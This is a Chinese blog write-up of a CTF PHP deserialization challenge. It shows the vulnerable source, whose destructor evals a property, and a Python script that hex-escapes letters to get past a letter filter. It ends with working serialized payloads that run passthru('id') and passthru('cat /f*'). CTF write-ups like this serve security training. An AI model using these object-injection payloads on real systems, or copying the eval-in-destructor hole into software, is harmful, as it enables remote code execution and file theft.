首页 > 其他分享 >从SWPU 2024 新生引导 maxser思考NSS2024招新maxser reverge

从SWPU 2024 新生引导 maxser思考NSS2024招新maxser reverge

时间:2024-10-12 18:01:59浏览次数:1  
标签:passthru 招新 进制 16 reverge 字母 maxser dir

最近上班比较忙,抽时间做做题。

SWPU 2024 新生引导前面的几道反序列化及其他没难度,自己思考就出来了,主要看看这道题。

源码
<?php
//相信看了之前我给的h1nt,你应该大概知道这题该怎么做了,说真的,这道题很难,即使在给了提示的情况下,也不容易做出来,如果你能把它给拿下,说明你真是一个聪明的小hacker,已经具备自主学习的能力。
//当然,没做出来也没关系,这是一个严重超过你目前水平的题目,做不出来才是正常的,出这道题主要是看看你的极限在哪里,如果最后历经千辛万苦终于做出来了,你一定会高兴得飞起来吧。
//最后,除了我给提示的那一种解法,目前还有另外两种解法。至于是什么,就等聪明的你来慢慢探索吧,当然,如果你能想出更多, 大神,带带我吧,我是个笨damn。
//来点燃歌吧,Call of Silence(Clear Sky Remix) Avid  Ferrari  Turnin'  Light It Up
highlight_file(__FILE__);
error_reporting(0);
include('check.php');//这里面是一个检测passthru->S属性的正则,大概意思就是这个属性不能含有字母,只能是数字或者符号之类的,那我们该如何拿到fLag呢?
class passthru{
    public $S;
    public $dir;
    public function __destruct(){
        
        eval($this->S);
    }
}
$a=$_GET['NSS'];
check($a);
unserialize($a);
在NSS平台上评论区其实供题人给了一些提示,环境可能还是有些问题(过滤没起作用),不耽误我们做这道题。 题目中说是对passthru属性进行了check(过滤),不能出现字母,只能是数字或者符号之类的。那要第一时间想到编码绕过等,这里选用了16进制的绕过,但是有些问题,就是16进制编码时有些字母的16进制也是存在字母的。16进制的前提是表示字符类型的s大写时,值的内容可以被当做16进制解析。也就是例如O:8:"passthru":2:{s:1:"S";s:10:"phpinfo();";s:3:"dir";N;}中s:10:"phpinfo();";的s大写就可以。

可以看到大小写的j到o的16进制时存在字母的,急转弯吧,可以发现passthru中每个字母的16进制不存在字母,写脚本来生成payload:

脚本
import string
a = "passthru('id')"
end=''
b = string.ascii_lowercase+string.ascii_uppercase
for i in a:
    if i in b:
        end+="\\"+hex(ord(i))[2:]
    else:
        end+=i
print(end)
“O:8:"passthru":2:{s:1:"S";s:15:"\70\61\73\73\74\68\72\75('\69\64');";s:3:"dir";N;}
O:8:"passthru":2:{s:1:"S";s:15:"passthru('id');";s:3:"dir";N;}
”

payload执行试试看。

可以发现执行成功了,接下来直接读取flag,注意生成后的编码不能有字母。
最终payload: passthru('cat /f*');

这题看评论有非预期,我只做出了预期解,非预期为引用绕过,但是我试了就没成功。接下来招新的maxser reverge就不用多说了吧。祝大家竞赛开心啦。如果这算泄露wp的话评论我及时删除。

标签:passthru,招新,进制,16,reverge,字母,maxser,dir
From: https://www.cnblogs.com/jocker-love-you/p/18461136

相关文章

  • [Java原创精品]基于Springboot+Vue的高校社团管理、学生社团招新平台
    项目提供:完整源码+数据库sql文件+数据库表Excel文件1、项目功能描述本项目角色为社团社长、学生用户、系统管理员三角色,社长登录进入后台,可切换至前台使用功能,学生用户只进入前台使用,系统管理员只进入后台管理操作。1.1注册注册功能:填写用户名、密码进行注册。(“我已......
  • 科大讯飞飞凡计划面经(2024年秋招新出炉)
    7月笔完一个多月约的面试—————————————-一面8.16不问项目,上来就是八股轰炸c++11新特性shared_ptr是线程安全的吗,不安全的话怎么实现线程安全的stl容器中频繁查找用什么,频繁增删用什么vector中间插入元素会发生什么,如果插入1000w个,怎么样加速c++线程怎么创......
  • 从校招新星到前端技术专家的成长之路
    引言我在2018年校招进入京东,主要负责广告投放系统的前端工作。在京东,这一路走来,我经历了多种角色转换,我从学生到职场人,从校招生到校招导师,从初级前端开发到前端技术专家,也见证了京东广告业务的蓬勃发展。回顾过去的成长历程,我心中充满了感慨。首先,我要衷心感谢那些与我并肩作战......
  • HTUCTF2024 河南师范大学招新赛
    CRYPTOeasyMath题目中国古代有很多人同名譬如同样叫孙子,有的人会兵法,有的人会数学你能帮我求解出这道题的答案吗?请开启容器后下载对应输出文件难度:简单fromsecretimportflagfromCrypto.Util.numberimport*defs2n(string): returnint(string.encode("utf-8").hex(......
  • PTA CPA招新
    新学期开始啦,我们CPA是2019年6月成立的,创建时有20位元老。现在需要招新啦,每年新学期社团服务中心会组织百团大战。我们CPA迎来第一次招新,我们很期待迎来新成员。每天都有元老去招新,每招到一个萌新,招新人会在纸上写一个大写字母。CPA共有竞赛部、宣传部、办公部、组织部四个部......
  • 人工智能实验室第二次招新考试部分答案
    A.打印菱形图案n=int(input())a=n//2foriinrange(-a,a+1): c=abs(i) print(c*"",end="") print((2*a+1-2*c)*"*")D.来,关个灯n=int(input())foriinrange(1,n): if(i*i>n): break; print(i*i,end='')E......
  • 23级ACM第二次招新测试题解
    A.lyynuu思路:先了解子序列的概念:在数学中,某个序列的子序列是从最初序列通过去除某些元素但不破坏余下元素的相对位置(在前或在后)而形成的新序列接下来我们就思考什么样的字符串可以让子序列lynu形成的数量最多,显然当相同字符连在一起时可以形成尽可能多的lynu,例如:llyy......
  • 23级ACM实验室第一次招新测试题解
    A.还是HelloWorld?思路:无代码:c++:#include<bits/stdc++.h>usingnamespacestd;intmain(){ cin.tie(0)->ios::sync_with_stdio(0); cout<<"Hello,World!"<<endl; return0;}B.这题真不难,放轻松~思路:无代码:C++:#include<bits/st......
  • 2023年SWPU NSS 秋季招新赛 (校外赛道) MISC复盘WP
    GIFCode题目描述:扫一扫即可获取Flag给了一个含二维码的动图,分离一下得到九张二维码碎片,根据文件名数字按顺序组装,在线扫码即可NSSCTF{3f0ac91b-3e0e-a7e2-7b2a-c67cfdc093fe}相信他终将回来题目描述:我们的湾湾hint1:base怎么就不能转成16进制呢010查看,base64转图片但......
  • 2023年SWPU NSS 秋季招新赛 (校外赛道)WP—Crypto
    一、Caesar_base题目信息s="HIJKLMNOPQRSTUVWXYZABCDEFGhijklmnopqrstuvwxyzabcdefg0123456789+/"#码表defMy_base64_encode(inputs): bin_str=[] foriininputs: x=str(bin(ord(i))).replace('0b','') bin_str.append('{......